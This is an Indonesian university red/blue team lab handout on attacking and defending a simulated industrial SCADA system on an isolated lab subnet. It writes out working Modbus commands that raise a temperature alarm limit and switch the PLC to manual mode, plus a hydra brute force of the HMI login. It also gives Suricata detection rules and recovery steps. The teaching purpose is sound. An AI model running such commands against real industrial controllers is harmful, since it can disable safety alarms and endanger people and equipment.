Praktikum akhir semester: mahasiswa dibagi menjadi Red Team (penyerang) dan Blue Team (pembela). Menggunakan environment virtual yang mensimulasikan sistem SCADA industri dengan OpenPLC dan ScadaBR — semua aktivitas terbatas pada jaringan lab terisolasi.
Lab ini menggunakan environment virtual yang terisolasi penuh. Semua serangan hanya boleh dilakukan di dalam subnet lab 192.168.100.0/24.
Semua teknik yang dipelajari hanya boleh dipraktikkan di environment yang diizinkan secara eksplisit. Melakukan eksploitasi terhadap sistem SCADA nyata tanpa izin melanggar UU ITE Pasal 30 dan dapat dikenai pidana. Tanda tangan formulir persetujuan lab wajib sebelum mulai.
| KOMPONEN | SPESIFIKASI | FUNGSI |
|---|---|---|
| Attacker VM | Kali Linux 2024.1, RAM 4GB | Red Team: nmap, Wireshark, Metasploit, mbtget |
| OpenPLC Simulator | OpenPLC Runtime v3 | Simulasi PLC dengan register Modbus TCP port 502 |
| ScadaBR HMI | ScadaBR 1.0 / Ignition Edge | HMI terhubung ke OpenPLC via Modbus |
| Defender VM | Ubuntu 22.04, RAM 4GB | Blue Team: Suricata IDS, Wireshark, log analysis |
| Virtual Switch SPAN | GNS3 / EVE-NG mirror port | Blue Team monitor semua traffic OT lab secara pasif |
Red Team memetakan aset dan layanan. Blue Team mendeteksi scanning. Klik task untuk lihat detail perintah.
# Ping sweep — temukan semua host aktif $ nmap -sn 192.168.100.0/24 Host: 192.168.100.20 — Up ← PLC Target! Host: 192.168.100.30 — Up ← HMI Target! # Service scan ke PLC $ nmap -sV -p 502,8080 192.168.100.20 502/tcp open modbus Modbus TCP (OpenPLC v3) ← NO AUTH!
Suricata rule untuk deteksi scan: alert tcp any any -> 192.168.100.0/24 any (flags:S; threshold: type threshold, track by_src, count 15, seconds 5; msg:"OT PORT SCAN"; sid:1000001;)
$ mbtget -r1 -a0 -c10 192.168.100.20 REG[0] = 1234 ← Setpoint suhu (123.4°C) REG[1] = 856 ← Tekanan (mbar) REG[2] = 1 ← Status valve V01 (OPEN) REG[5] = 2100 ← Alarm suhu tinggi (210.0°C) REG[7] = 1 ← Mode (1=AUTO) ⚠ Semua data proses terbaca tanpa autentikasi apapun!
Red Team memanipulasi register PLC — mensimulasikan serangan seperti insiden PDAM Oldsmar (Florida, 2021) di mana attacker mengubah dosis bahan kimia via SCADA.
# Naikkan alarm suhu tinggi 210°C → 999.9°C (alarm tidak akan bunyi!) $ mbtget -w5 -a5 -v9999 192.168.100.20 Response: OK — Written successfully (tanpa autentikasi!) # Switch dari AUTO ke MANUAL (bypass kontrol otomatis) $ mbtget -w5 -a7 -v0 192.168.100.20 REG[7] = 0 ← Proses sekarang di MANUAL — tidak ada auto safety! ⚠ Di sistem nyata: proses bisa overheat tanpa operator tahu!
Alert Modbus FC06 Write dari IP tidak dikenal: alert tcp !192.168.100.30 any -> 192.168.100.20 502 (content:"|06|"; offset:7; depth:1; msg:"UNAUTHORIZED MODBUS WRITE"; sid:1000002;)
$ hydra -l admin -P /usr/share/wordlists/ics-passwords.txt \ http-post-form "192.168.100.30:8080/login:user=^USER^&pass=^PASS^:Invalid" [8080][http-post-form] login: admin password: admin 1 valid password found! ⚠ Default credential admin:admin memberikan akses penuh ke SCADA!
# /etc/suricata/rules/ics-lab.rules # Deteksi port scan ke OT network alert tcp any any -> 192.168.100.0/24 any ( msg:"OT PORT SCAN DETECTED"; flags:S; threshold: type threshold, track by_src, count 15, seconds 5; sid:1000001;) # Modbus write dari host tidak dikenal alert tcp !192.168.100.30 any -> 192.168.100.20 502 ( msg:"UNAUTHORIZED MODBUS WRITE"; content:"|06|"; offset:7; depth:1; sid:1000002;) # Bruteforce login HMI alert http any any -> 192.168.100.30 8080 ( msg:"HMI BRUTEFORCE"; content:"Invalid"; http_server_body; threshold: type threshold, track by_src, count 5, seconds 30; sid:1000004;) $ sudo systemctl restart suricata $ sudo tail -f /var/log/suricata/fast.log [**] OT PORT SCAN DETECTED .10 → .20 (burst) [**] UNAUTHORIZED MODBUS WRITE .10 → .20:502 [**] HMI BRUTEFORCE .10 → .30:8080 (23x)
# Block attacker di firewall $ sudo iptables -I FORWARD -s 192.168.100.10 -d 192.168.100.20 -j DROP Attacker diisolasi dari PLC ✓ # Restore setpoint yang dimanipulasi $ mbtget -w5 -a5 -v2100 192.168.100.20 REG[5] = 2100 ← Alarm suhu dipulihkan ke 210°C ✓ $ mbtget -w5 -a7 -v1 192.168.100.20 REG[7] = 1 ← Mode kembali AUTO ✓ # Verifikasi sistem normal $ mbtget -r1 -a5 -c1 192.168.100.20 REG[5] = 2100 ✓ Recovery berhasil!
# Filter Wireshark: modbus.func_code == 6 ← write single register ip.src == 192.168.100.10 ← traffic dari attacker # Rekonstruksi timeline dari PCAP: 22:34:01 .10 → .20:502 Modbus FC03 Read Regs 0-9 (enumeration) 22:34:15 .10 → .20:502 Modbus FC06 Write Reg[5]=9999 (SERANGAN!) 22:34:17 .10 → .20:502 Modbus FC06 Write Reg[7]=0 (SERANGAN!) 22:35:42 .10 → .30:8080 HTTP POST admin:admin (BRUTEFORCE OK) → Timeline serangan berhasil direkonstruksi dari PCAP!
Simulasi terminal interaktif untuk latihan. Ketik help untuk daftar perintah.